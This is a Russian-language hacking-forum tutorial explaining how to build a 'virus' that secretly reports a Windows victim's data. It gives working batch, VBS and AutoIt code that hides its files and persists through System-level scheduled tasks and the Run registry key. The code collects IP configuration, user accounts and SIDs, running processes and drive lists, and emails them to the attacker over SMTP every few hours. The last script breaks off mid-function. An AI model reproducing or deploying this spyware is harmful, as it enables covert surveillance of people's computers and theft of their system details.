В этой статье будет описываться несколько способов как можно сделать вирус который будет отправлять Ip адрес при каждом запуске системы Windows,или через определённое время. Начнём с простого батинка,создаём текстовый документ (txt),открываем и пишем туда следующие: Код: @echo off blat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw пароль ipconfig /all > ip.txt blat.exe ip.txt -to логин@yandex.ru del /s /q ip.txt exit cls Вносим свои данные,сохраняем как ips.bat,компилируем в exe при помощи Bat to exe converter и создаём ещё один текстовый документ (txt),открываем и пишем в него следующие: Код: @echo off attrib +a +s +r +h %systemroot%\miwich schtasks /tr %systemroot%\miwich\ips.exe /ru "System" /sc hourly /mo 5 /tn Windk /f start %systemroot%\miwich\ips.exe exit cls Сохраняем как slide.bat и компилируем в exe Далее берём компоненты программы Blat,можете скачать с офф сайта http://www.blat.net/ или с нашего сервера (правда в архиве будет один лишний файл от архиватора rar.exe),собираем всё файлы в кучу,а именно: Компоненты Blat: blat.exe,blat.dll,blat.lib. Батинки компилированные в exe: ips.exe и slide.exe И склеиваем в один исполянемый файл,при помощи Smart Install Maker на выполнение ставим slide.exe,путь выгрузки всех файлов назначаем %WindowsDir%\miwich\ Всё вирус готов,он будет отсылать IP адрес и дургую информацию которую даёт команда ipconfig на почту,каждые 5 часов. Правда данная команда не всегда показывает истинный IP адрес и за чистую по адресу пришедшему с такого батинка не подконектишься,так что это далеко не айс. Рассмотрим ещё один способ,тоже через бат только вперемешку с vbs скриптом. И так открываем блокнот и пишем туда следующий код: Код: On Error Resume Next strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set IPConfigSet = objWMIService.ExecQuery _ ("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE") For Each IPConfig in IPConfigSet If Not IsNull(IPConfig.IPAddress) Then For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress) ipaddr = ipaddr + " " + IPConfig.IPAddress(i) Next End If Next Dim Shell set Shell = WScript.CreateObject ("WSCript.shell") Shell.run("SendMail /smtpserver smtp.yandex.ru /to логин-кому@yandex.ru /from логин от куда@yandex.ru /subject Message subject /body" + ipaddr + "/user логин /password пароль") Вбиваем свои данные от почтового ящика и сохраняем как sdg.vbs,далее опять открываем блокнот и пишем маленький батинок: Код: @echo off schtasks /tr %systemroot%\miwich\sdg.vbs /ru "System" /sc hourly /mo 5 /tn Windk /f >nul attrib +s +h +r %systemroot%\miwich >nul start sdg.vbs >nul del "%0" >nul cls сохраняем под любым именем и с расширением bat, склеиваем sdg.vbs,(ваш батинок,допустим 1.bat) с sendMail.exe(скачать) при помощи Smart Install Maker,на выполнение ставим 1.bat,путь выгрузки %WindowsDir%\miwich\,все через каждые пять часов,вирус будет отсылать два Ip адреса,один внутренний,второй настоящий. Расмотрим пример написания скрипта с отсылкой ip адреса на почту,по средствам простого скриптового языка AutoIt. Собственно в нём нету ни чего сложного,скрипт узнаёт IP адрес,проверяет наличие интернета и если такое есть то отправляет его на почтовый ящик указанный в скрипте(где что указывать я написал),так же добавляет себя в автозагрузку и прячет сам себя. Код: #include <File.au3> #include <Inet.au3> #include <Process.au3> #NoTrayIcon ;Заполнить $sFile = "IP.txt" $SmtpServer = "smtp.yandex.ru" ; адрес SMTP сервера $FromName = "IP-(от кого)" ; пишем имя,любое $FromAddress = "логин@yandex.ru" ; адрес отправителя $ToAddress = "логин@yandex.ru" ; адрес получателя $Subject = "внешний IP" ; тема письма $AttachFiles = $sFile $sText=_GetIP() $CcAddress = "" $BccAddress = "" $Importance = "Normal" ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low" $Username = "логин@yandex.ru" ; имя отправителя $Password = "пароль" ; пас отпрвителя $IPPort = 587 ; порт можно 25,ну и так норм отправляет $ssl = 0 ;~ $IPPort=465; GMAIL порт $sArgument = '/320' ;задержка перед началом работы в 320 секунд FileSetAttrib ( @ScriptName, "+S+H") If $CmdLine[0] Then $iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000 $iStart = TimerInit() While TimerDiff($iStart) <= $iTimer Sleep(250) WEnd EndIf Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0) Local $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x]) ;~ ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console If FileExists($S_Files2Attach[$x]) Then ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF) $objEmail.AddAttachment($S_Files2Attach[$x]) Else ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF) SetError(1) Return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer If Number($IPPort) = 0 then $IPPort = 25 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Set Email Importance Switch $s_Importance Case "High" $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High" Case "Normal" $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal" Case "Low" $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low" EndSwitch $objEmail.Fields.Update ; Sent the Message $objEmail.Send If @error Then SetError(2) Return $oMyRet[1] EndIf $objEmail="" EndFunc _RegRun($sArgument) $i =0 While $i <= 1 $var = Ping("www.google.com",250) If @error = 0 Then $AttachFiles = @ScriptDir & "\IP.txt" _RunDOS("ipconfig /all >>IP.txt") _FileWriteLog($AttachFiles, $sText) Sleep(1000) _INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl) sleep(1000) FileDelete("IP.txt") Sleep(1000*60*60) ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 60 минут,то есть последние цифры отвечают за минуты. ) EndIf WEnd Func _RegRun($s_Argument) Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' If Not RegRead($sRegRun, @ScriptName) Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath & ' ' & $s_Argument Then RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath & ' ' & $s_Argument) EndIf EndFunc exit Этот скрипт компилируется в EXE при помощи компилятора AutoIt,в принципе разберётесь,там ни чего сложного нету. Компилятор можно скачать на офф сайте http://www.autoitscript.com/ ©SwAp TheHackWorld.in
Всё не поместилось,это как дополнение. Небольшая модитификация скрипта Autoit для отправки Ip на почту,честно ещё не тестил,но по идеи ошибок быть не должно. Код: #NoTrayIcon #include <file.au3> #include <inet.au3> #include <process.au3> #Include<Array.au3> filesetattrib ( @scriptname, "+s+h") ; ставим на себя атрибуты $smtpserver = "smtp.server.com" ; адрес smtp сервера $fromname = @ComputerName $fromaddress = "e-mail@server.com" ; адрес отправителя $toaddress = "e-mail@server.net" ; адрес получателя,можно смело указывать другой почтовый ящик. $subject = "Отчёт от "&@UserName&"." ; тема письма,@UserName будет указывать имя пользователя под которым был запущен вирус $attachfiles = '' $ccaddress = "" $bccaddress = "" $importance = "normal" ; приоритет отсылки письма,другие варианты: "high", "normal", "low" $username = "e-mail@server.com" ; имя отправителя $password = "Password" ; пас отпрвителя $ipport = 587 ; порт можно 25,ну и так норм отправляет,для почтовой службы gmail необходимо сменить порт на 465 ($ipport=465) $ssl = 0 $log = @WindowsDir & "\swnc\"&@UserName&"-log.sft"; это своего рода временный файл,который будет создаваться в отдельной папке,так сказать от греха подальше)) $lang = @OSLang ; команда выводящия свое образный код языка системы Global $alang_Codes[127] ; массив для замены кода на нормальный буквенный понятный вид языка системы $alang_Codes[0]=126 ;указываем количество ячеек $alang_Codes[1]="Afrikaans" ;и перечисляем их $alang_Codes[2]="Albanian" $alang_Codes[3]="Arabic_Saudi_Arabia" $alang_Codes[4]="Arabic_Iraq" $alang_Codes[5]="Arabic_Egypt" $alang_Codes[6]="Arabic_Libya" $alang_Codes[7]="Arabic_Algeria" $alang_Codes[8]="Arabic_Morocco" $alang_Codes[9]="Arabic_Tunisia" $alang_Codes[10]="Arabic_Oman" $alang_Codes[11]="Arabic_Yemen" $alang_Codes[12]="Arabic_Syria" $alang_Codes[13]="Arabic_Jordan" $alang_Codes[14]="Arabic_Lebanon" $alang_Codes[15]="Arabic_Kuwait" $alang_Codes[16]="Arabic_UAE" $alang_Codes[17]="Arabic_Bahrain" $alang_Codes[18]="Arabic_Qatar" $alang_Codes[19]="Armenian" $alang_Codes[20]="Azeri_Latin" $alang_Codes[21]="Azeri_Cyrillic" $alang_Codes[22]="Basque" $alang_Codes[23]="Belarusian" $alang_Codes[24]="Bulgarian" $alang_Codes[25]="Catalan" $alang_Codes[26]="Chinese_Taiwan" $alang_Codes[27]="Chinese_PRC" $alang_Codes[28]="Chinese_Hong_Kong" $alang_Codes[29]="Chinese_Singapore" $alang_Codes[30]="Chinese_Macau" $alang_Codes[31]="Croatian" $alang_Codes[32]="Czech" $alang_Codes[33]="Danish" $alang_Codes[34]="Dutch_Standard" $alang_Codes[35]="Dutch_Belgian" $alang_Codes[36]="English_United_States" $alang_Codes[37]="English_United_Kingdom" $alang_Codes[38]="English_Australian" $alang_Codes[39]="English_Canadian" $alang_Codes[40]="English_New_Zealand" $alang_Codes[41]="English_Irish" $alang_Codes[42]="English_South_Africa" $alang_Codes[43]="English_Jamaica" $alang_Codes[44]="English_Caribbean" $alang_Codes[45]="English_Belize" $alang_Codes[46]="English_Trinidad" $alang_Codes[47]="English_Zimbabwe" $alang_Codes[48]="English_Philippines" $alang_Codes[49]="Estonian" $alang_Codes[50]="Faeroese" $alang_Codes[51]="Farsi" $alang_Codes[52]="Finnish" $alang_Codes[53]="French_Standard" $alang_Codes[54]="French_Belgian" $alang_Codes[55]="French_Canadian" $alang_Codes[56]="French_Swiss" $alang_Codes[57]="French_Luxembourg" $alang_Codes[58]="French_Monaco" $alang_Codes[59]="Georgian" $alang_Codes[60]="German_Standard" $alang_Codes[61]="German_Swiss" $alang_Codes[62]="German_Austrian" $alang_Codes[63]="German_Luxembourg" $alang_Codes[64]="German_Liechtenstei" $alang_Codes[65]="Greek" $alang_Codes[66]="Hebrew" $alang_Codes[67]="Hindi" $alang_Codes[68]="Hungarian" $alang_Codes[69]="Icelandic" $alang_Codes[70]="Indonesian" $alang_Codes[71]="Italian_Standard" $alang_Codes[72]="Italian_Swiss" $alang_Codes[73]="Japanese" $alang_Codes[74]="Kazakh" $alang_Codes[75]="Konkani" $alang_Codes[76]="Korean" $alang_Codes[77]="Latvian" $alang_Codes[78]="Lithuanian" $alang_Codes[79]="Macedonian" $alang_Codes[80]="Malay_Malaysia" $alang_Codes[81]="Malay_Brunei_Darussalam" $alang_Codes[82]="Marathi" $alang_Codes[83]="Norwegian_Bokmal" $alang_Codes[84]="Norwegian_Nynorsk" $alang_Codes[85]="Polish" $alang_Codes[86]="Portuguese_Brazilian" $alang_Codes[87]="Portuguese_Standard" $alang_Codes[88]="Romanian" $alang_Codes[89]="Russian" $alang_Codes[90]="Sanskrit" $alang_Codes[91]="Serbian_Latin" $alang_Codes[92]="Serbian_Cyrillic" $alang_Codes[93]="Slovak" $alang_Codes[94]="Slovenian" $alang_Codes[95]="Spanish_Traditional_Sort" $alang_Codes[96]="Spanish_Mexican" $alang_Codes[97]="Spanish_Modern_Sort" $alang_Codes[98]="Spanish_Guatemala" $alang_Codes[99]="Spanish_Costa_Rica" $alang_Codes[100]="Spanish_Panama" $alang_Codes[101]="Spanish_Dominican_Republic" $alang_Codes[102]="Spanish_Venezuela" $alang_Codes[103]="Spanish_Colombia" $alang_Codes[104]="Spanish_Peru" $alang_Codes[105]="Spanish_Argentina" $alang_Codes[106]="Spanish_Ecuador" $alang_Codes[107]="Spanish_Chile" $alang_Codes[108]="Spanish_Uruguay" $alang_Codes[109]="Spanish_Paraguay" $alang_Codes[110]="Spanish_Bolivia" $alang_Codes[111]="Spanish_El_Salvador" $alang_Codes[112]="Spanish_Honduras" $alang_Codes[113]="Spanish_Nicaragua" $alang_Codes[114]="Spanish_Puerto_Rico" $alang_Codes[115]="Swahili" $alang_Codes[116]="Swedish" $alang_Codes[117]="Swedish_Finland" $alang_Codes[118]="Tamil" $alang_Codes[119]="Tatar" $alang_Codes[120]="Thai" $alang_Codes[121]="Turkish" $alang_Codes[122]="Ukrainian" $alang_Codes[123]="Urdu" $alang_Codes[124]="Uzbek_Latin" $alang_Codes[125]="Uzbek_Cyrillic" $alang_Codes[126]="Vietnamese" global $aCapture_Codes[127] ; в этом массиве находятся коды которые выводит команда @OSLang,а в пред идущем массиве находятся названия языков\стран уже в буквенном виде,так сказать расшифрованные,точно в таком же порядке. $aCapture_Codes[0]='126' $aCapture_Codes[1]='0436' $aCapture_Codes[2]='041c' $aCapture_Codes[3]='0401' $aCapture_Codes[4]='0801' $aCapture_Codes[5]='0c01' $aCapture_Codes[6]='1001' $aCapture_Codes[7]='1401' $aCapture_Codes[8]='1801' $aCapture_Codes[9]='1c01' $aCapture_Codes[10]='2001' $aCapture_Codes[11]='2401' $aCapture_Codes[12]='2801' $aCapture_Codes[13]='2c01' $aCapture_Codes[14]='3001' $aCapture_Codes[15]='3401' $aCapture_Codes[16]='3801' $aCapture_Codes[17]='3c01' $aCapture_Codes[18]='4001' $aCapture_Codes[19]='042b' $aCapture_Codes[20]='042c' $aCapture_Codes[21]='082c' $aCapture_Codes[22]='042d' $aCapture_Codes[23]='0423' $aCapture_Codes[24]='0402' $aCapture_Codes[25]='0403' $aCapture_Codes[26]='0404' $aCapture_Codes[27]='0804' $aCapture_Codes[28]='0c04' $aCapture_Codes[29]='1004' $aCapture_Codes[30]='1404' $aCapture_Codes[31]='041a' $aCapture_Codes[32]='0405' $aCapture_Codes[33]='0406' $aCapture_Codes[34]='0413' $aCapture_Codes[35]='0813' $aCapture_Codes[36]='0409' $aCapture_Codes[37]='0809' $aCapture_Codes[38]='0c09' $aCapture_Codes[39]='1009' $aCapture_Codes[40]='1409' $aCapture_Codes[41]='1809' $aCapture_Codes[42]='1c09' $aCapture_Codes[43]='2009' $aCapture_Codes[44]='2409' $aCapture_Codes[45]='2809' $aCapture_Codes[46]='2c09' $aCapture_Codes[47]='3009' $aCapture_Codes[48]='3409' $aCapture_Codes[49]='0425' $aCapture_Codes[50]='0438' $aCapture_Codes[51]='0429' $aCapture_Codes[52]='040b' $aCapture_Codes[53]='040c' $aCapture_Codes[54]='080c' $aCapture_Codes[55]='0c0c' $aCapture_Codes[56]='100c' $aCapture_Codes[57]='140c' $aCapture_Codes[58]='180c' $aCapture_Codes[59]='0437' $aCapture_Codes[60]='0407' $aCapture_Codes[61]='0807' $aCapture_Codes[62]='0c07' $aCapture_Codes[63]='1007' $aCapture_Codes[64]='1407' $aCapture_Codes[65]='408' $aCapture_Codes[66]='040d' $aCapture_Codes[67]='0439' $aCapture_Codes[68]='040e' $aCapture_Codes[69]='040f' $aCapture_Codes[70]='0421' $aCapture_Codes[71]='0410' $aCapture_Codes[72]='0810' $aCapture_Codes[73]='0411' $aCapture_Codes[74]='043f' $aCapture_Codes[75]='0457' $aCapture_Codes[76]='0412' $aCapture_Codes[77]='0426' $aCapture_Codes[78]='0427' $aCapture_Codes[79]='042f' $aCapture_Codes[80]='043e' $aCapture_Codes[81]='083e' $aCapture_Codes[82]='044e' $aCapture_Codes[83]='0414' $aCapture_Codes[84]='0814' $aCapture_Codes[85]='0415' $aCapture_Codes[86]='0416' $aCapture_Codes[87]='0816' $aCapture_Codes[88]='0418' $aCapture_Codes[89]='0419' $aCapture_Codes[90]='044f' $aCapture_Codes[91]='081a' $aCapture_Codes[92]='0c1a' $aCapture_Codes[93]='041b' $aCapture_Codes[94]='0424' $aCapture_Codes[95]='040a' $aCapture_Codes[96]='080a' $aCapture_Codes[97]='0c0a' $aCapture_Codes[98]='100a' $aCapture_Codes[99]='140a' $aCapture_Codes[100]='180a' $aCapture_Codes[101]='1c0a' $aCapture_Codes[102]='200a' $aCapture_Codes[103]='240a' $aCapture_Codes[104]='280a' $aCapture_Codes[105]='2c0a' $aCapture_Codes[106]='300a' $aCapture_Codes[107]='340a' $aCapture_Codes[108]='380a' $aCapture_Codes[109]='3c0a' $aCapture_Codes[110]='400a' $aCapture_Codes[111]='440a' $aCapture_Codes[112]='480a' $aCapture_Codes[113]='4c0a' $aCapture_Codes[114]='500a' $aCapture_Codes[115]='0441' $aCapture_Codes[116]='041d' $aCapture_Codes[117]='081d' $aCapture_Codes[118]='0449' $aCapture_Codes[119]='0444' $aCapture_Codes[120]='041e' $aCapture_Codes[121]='041f' $aCapture_Codes[122]='0422' $aCapture_Codes[123]='0420' $aCapture_Codes[124]='0443' $aCapture_Codes[125]='0843' $aCapture_Codes[126]='042a' $Pos = _ArraySearch ($aCapture_Codes, $lang) ;ищем по масиву с кодами определённый командой @OSLang код и записываем его позицую в код,после тупа подставим позицию во второй массив. Dim $strComputer = ".", $string, $strIPAddress, $IPAddress, $IPSubnet, $strIPSubnet, $DefaultIPGateway, $strDefaultIPGateway ;используем Win32_NetworkAdapterConfiguration для вытягивание некоротой инфы из компа $objWMIService = ObjGet("winmgmts:{impersonationLevel=impersonate}!\\" & $strComputer & "\root\cimv2") $colItems = $objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration") For $objItem In $colItems $string &= @LF $string &= "<BR><font color=teal style=font-size:17px>Caption:</font> " & $objItem.Caption & @LF $string &= "<BR><font color=teal style=font-size:17px>Description:</font> " & $objItem.Description & @LF If UBound($objItem.IPAddress) > 0 Then For $IPAddress In $objItem.IPAddress $strIPAddress &= $IPAddress & "; " Next $string &= "<BR><font color=teal style=font-size:17px>IPAddress:</font> " & StringTrimRight($strIPAddress, 2) & @LF EndIf If UBound($objItem.IPSubnet) > 0 Then For $IPSubnet In $objItem.IPSubnet $strIPSubnet &= $IPSubnet & "; " Next $string &= "<BR><font color=teal style=font-size:17px>IPSubnet:</font> " & StringTrimRight($strIPSubnet, 2) & @LF EndIf If UBound($objItem.DefaultIPGateway) > 0 Then For $DefaultIPGateway In $objItem.DefaultIPGateway $strDefaultIPGateway &= $DefaultIPGateway & "; " Next $string &= "<BR><font color=teal style=font-size:17px>DefaultIPGateway:</font> " & StringTrimRight($strDefaultIPGateway, 2) & @LF EndIf $string &= "<BR><font color=teal style=font-size:17px>DNSDomain:</font> " & $objItem.DNSDomain & @LF $string &= "<BR><font color=teal style=font-size:17px>DNSHostName:</font> " & $objItem.DNSHostName & @LF $string &= "<BR><font color=teal style=font-size:17px>MACAddress:</font> " & $objItem.MACAddress & @LF Next Dim $stComputer = ".", $stri ; практически таким же макаром вытяним локальную информацию о тачке на которой находится наш кейлогер $objWMIService = ObjGet("winmgmts:{impersonationLevel=impersonate}!\\" & $stComputer & "\root\cimv2") $colItems = $objWMIService.ExecQuery("Select * from Win32_UserAccount") For $objItem In $colItems $stri &= "<BR><font color=teal style=font-size:17px>Caption -</font> " & $objItem.Caption & @LF $stri &= "<BR><font color=teal style=font-size:17px>Account Type -</font> " & $objItem.AccountType & @LF $stri &= "<BR><font color=teal style=font-size:17px>Disabled - </font>" & $objItem.Disabled & @LF $stri &= "<BR><font color=teal style=font-size:17px>Domain - </font>" & $objItem.Domain & @LF $stri &= "<BR><font color=teal style=font-size:17px>Full Name - </font>" & $objItem.FullName & @LF $stri &= "<BR><font color=teal style=font-size:17px>Install Date -</font> " & $objItem.InstallDate & @LF $stri &= "<BR><font color=teal style=font-size:17px>Local Account - </font>" & $objItem.LocalAccount & @LF $stri &= "<BR><font color=teal style=font-size:17px>Lockout -</font> " & $objItem.Lockout & @LF $stri &= "<BR><font color=teal style=font-size:17px>Name -</font> " & $objItem.Name & @LF $stri &= "<BR><font color=teal style=font-size:17px>Password Changeable - </font>" & $objItem.PasswordChangeable & @LF $stri &= "<BR><font color=teal style=font-size:17px>Password Expires -</font> " & $objItem.PasswordExpires & @LF $stri &= "<BR><font color=teal style=font-size:17px>Password Required -</font> " & $objItem.PasswordRequired & @LF $stri &= "<BR><font color=teal style=font-size:17px>SID -</font> " & $objItem.SID & @LF $stri &= "<BR><font color=teal style=font-size:17px>SID Type -</font> " & $objItem.SIDType & @LF $stri &= "<BR><font color=teal style=font-size:17px>Status -</font> " & $objItem.Status Next FileOpen($log, 2);открываем файл лога для записи и начинаем писать Sleep(100) FileWrite($log, '<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">') ; ну эт тип для того чтобы в письме не отображались краказябры,а все приходило в понятном для человеческого глаза виде,тупа HTML теги и команды,их расписывать не буду ; ибо это уже перебор. FileWrite($log, '<body background="http://i5.pixs.ru/storage/1/4/1/matricabel_9581274_3013141.gif" bgcolor=#000000 text=green>') FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px>Данные о тачке на котрой запущен :</font> <font color=crimson>]#]</font> </center></b><br>") FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Внутрений IP Адрес:</b> </font><font color=teal style=font-size:17px>"& @IPAddress1&" </font><br>") ; пишем внутрений ip адрес тачки, может вернуть 127.0.0.1 FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Возвращает IP адрес 2 сетевого адаптера(при отсутствие вернёт 0.0.0.0):</font> </b><font color=teal style=font-size:17px>"& @IPAddress2&" </font><br>"); ну аналогично только возращает IP второго сетевого FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Возвращает IP адрес 3 сетевого адаптера(при отсутствие вернёт 0.0.0.0):</font> </b><font color=teal style=font-size:17px>"& @IPAddress3&" </font><br>"); и так далее до 4 сетевых адаптеров FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Возвращает IP адрес 4 сетевого адаптера(при отсутствие вернёт 0.0.0.0):</font> </b><font color=teal style=font-size:17px>"& @IPAddress4&" </font><br>"); FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Имя Пользователя:</b> </font><font color=teal style=font-size:17px>" & @UserName &" </font><br>") ; вписываем имя текущего пользователя под которым запущен кейлогер FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Сетевое имя компьютера:</font> </b><font color=teal style=font-size:17px>"& @ComputerName&" </font><br>") ; имя компьютера FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Тип оперативной системы:</font> </b><font color=teal style=font-size:17px>"& @OSType &" </font><br>") ; тип установленной ОС под которой запущен кейлогер FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Версия оперативной системы:</font> </b><font color=teal style=font-size:17px>"& @OSVersion &" </font><br>") ; версия ОС FileWrite($log, "<b><font color=saddlebrown style=font-size:19px>Язык оперативной системы:</font> </b><font color=teal style=font-size:17px>"& $alang_Codes[$Pos] &" </font><br>") ; вписываем язык системы по умолчанию FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px> Информация полученная при помощи Win32_NetworkAdapterConfiguration:</font> <font color=crimson>]#]</font> </center></b><br>") FileWrite($log, $string) ; пишем инфу вытянутую при помощи Win32_NetworkAdapterConfiguration FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px> Локальная информация ОС:</font> <font color=crimson>]#]</font> </center></b><br>") FileWrite($log, $stri) ; пишем локальную информацию FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px> Список запущенных процессов:</font> <font color=crimson>]#]</font> </center></b><br>") $list = ProcessList() ; далее определяем список запущенных в данный момент процессов for $i = 1 to $list[0][0] FileWrite($log," <font color=teal style=font-size:17px> Name process: </font>"& $list[$i][0] & "<br>") ; и пишем его,каждый процесс с новой строки next FileWrite($log, "<b><center><font color=crimson>[#[</font><font color=indigo style=font-size:19px> Количество и имена дисков на тачке:</font> <font color=crimson>]#]</font> </center></b><br>") $var = DriveGetDrive( "all" ) ; определяем общее количество дисков If NOT @error Then FileWrite($log,"<font color=teal style=font-size:17px>Всего " & $var[0] & " диск(а\ов)</font><br>") ; пишем коичество всех дисков For $i = 1 to $var[0] FileWrite($log,"<font color=teal style=font-size:17px> " & $var[$i]& ",</font>") ; выводим каждый диск через запятую по имени Next EndIf $var2 = DriveGetDrive( "CDROM" ) ; определяем какие из них CD rom'ы If NOT @error Then FileWrite($log,"<br><font color=teal style=font-size:17px>Из них " & $var2[0] & " CDROM(а) </font><br>") ; пишем количество CD rom'ов и есть ли они вообще For $i = 1 to $var2[0] FileWrite($log,"<font color=teal style=font-size:17px> " & $var2[$i]& ",</font>") ; перечисляем их по именам Next EndIf $var3 = DriveGetDrive( "REMOVABLE" ) ; определяем есть ли переносные диски If NOT @error Then FileWrite($log,"<br><font color=teal style=font-size:17px> Ещё " & $var3[0] & " предположительно являются Flash либо просто переносные </font><br>"); пишем сколько их если они есть вообще For $i = 1 to $var3[0] FileWrite($log,"<font color=teal style=font-size:17px> " & $var3[$i]& ",</font>") ; перечисляем их по именам Next EndIf $var4 = DriveGetDrive( "FIXED" ) ; определяем какие из них фиксированные If NOT @error Then FileWrite($log,"<br><font color=teal style=font-size:17px> Ещё " & $var4[0] & " фиксированные(й)</font><br>") ; пишем количества For $i = 1 to $var4[0] FileWrite($log,"<font color=teal style=font-size:17px> " & $var4[$i]& ",</font>") ; перечисляем их по именам Next EndIf $var5 = DriveGetDrive( "NETWORK" ) ; определяем есть ли сетевые диски If NOT @error Then FileWrite($log,"<br><font color=teal style=font-size:17px> Ещё " & $var5[0] & " сетевой(ых)</font><br>") ; если есть пишем количество For $i = 1 to $var5[0] FileWrite($log,"<font color=teal style=font-size:17px> " & $var5[$i]& ",</font>") ; перечисляем их по именам Next EndIf $var6 = DriveGetDrive( "RAMDISK" ) ; определяем где RAm диски If NOT @error Then FileWrite($log,"<br><font color=teal style=font-size:17px> Ещё " & $var6[0] & " RAMDISK(а)</font><br>") ; выводим их количество For $i = 1 to $var6[0] FileWrite($log,"<font color=teal style=font-size:17px> " & $var6[$i]& ",</font>") ; перечисляем их по именам Next EndIf $var6 = DriveGetDrive( "UNKNOWN" ) ; определяем есть ли такие которые не поддаются определению If NOT @error Then FileWrite($log,"<br><font color=teal style=font-size:17px> остальные " & $var6[0] & " не определен(ы)</font><br>"); если есть выводим количество For $i = 1 to $var6[0] FileWrite($log,"<font color=teal style=font-size:17px> " & $var6[$i]& ",</font>") ; перечисляемих по именам Next EndIf FileWrite($log,"<br><font color=teal style=font-size:17px>Система стоит на диске: " & @HomeDrive & " ,путь до системной папки: "& @SystemDir & "<br></font><br>") ;@HomeDrive аналогичен команде CMD %HomeDrive%,то есть тупа определяем на каком диске стоит система,ну @SystemDir думаю понятно,ловим путь до папки system32. _RunDOS( 'schtasks /create /tn WanResci /sc ONLOGON /tr ' & @WindowsDir & '\GTS\stisx.exe /ru "System" /f' ) ;создаёт правило используя schtasks,которое будет запускать при каждом входе в систему func _inetsmtpmailcom($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject = "", $as_body = "", $s_attachfiles = "", $s_ccaddress = "", $s_bccaddress = "", $s_importance="normal", $s_username = "", $s_password = "", $ipport = 25, $ssl = 0) local $objemail = objcreate("cdo.message") $objemail.from = '"' & $s_fromname & '" <' & $s_fromaddress & '>' $objemail.to = $s_toaddress local $i_error = 0 local $i_error_desciption = "" if $s_ccaddress <> "" then $objemail.cc = $s_ccaddress if $s_bccaddress <> "" then $objemail.bcc = $s_bccaddress $objemail.subject = $s_subject if stringinstr($as_body, "<") and stringinstr($as_body, ">") then $objemail.htmlbody = $as_body else $objemail.textbody = $as_body & @crlf endif if $s_attachfiles <> "" then local $s_files2attach = stringsplit($s_attachfiles, ";") for $x = 1 to $s_files2attach[0] $s_files2attach[$x] = _pathfull($s_files2attach[$x]) if fileexists($s_files2attach[$x]) then consolewrite('+> file attachment added: ' & $s_files2attach[$x] & @lf) $objemail.addattachment($s_files2attach[$x]) else consolewrite('!> file not found to attach: ' & $s_files2attach[$x] & @lf) seterror(1) return 0 endif next endif $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = 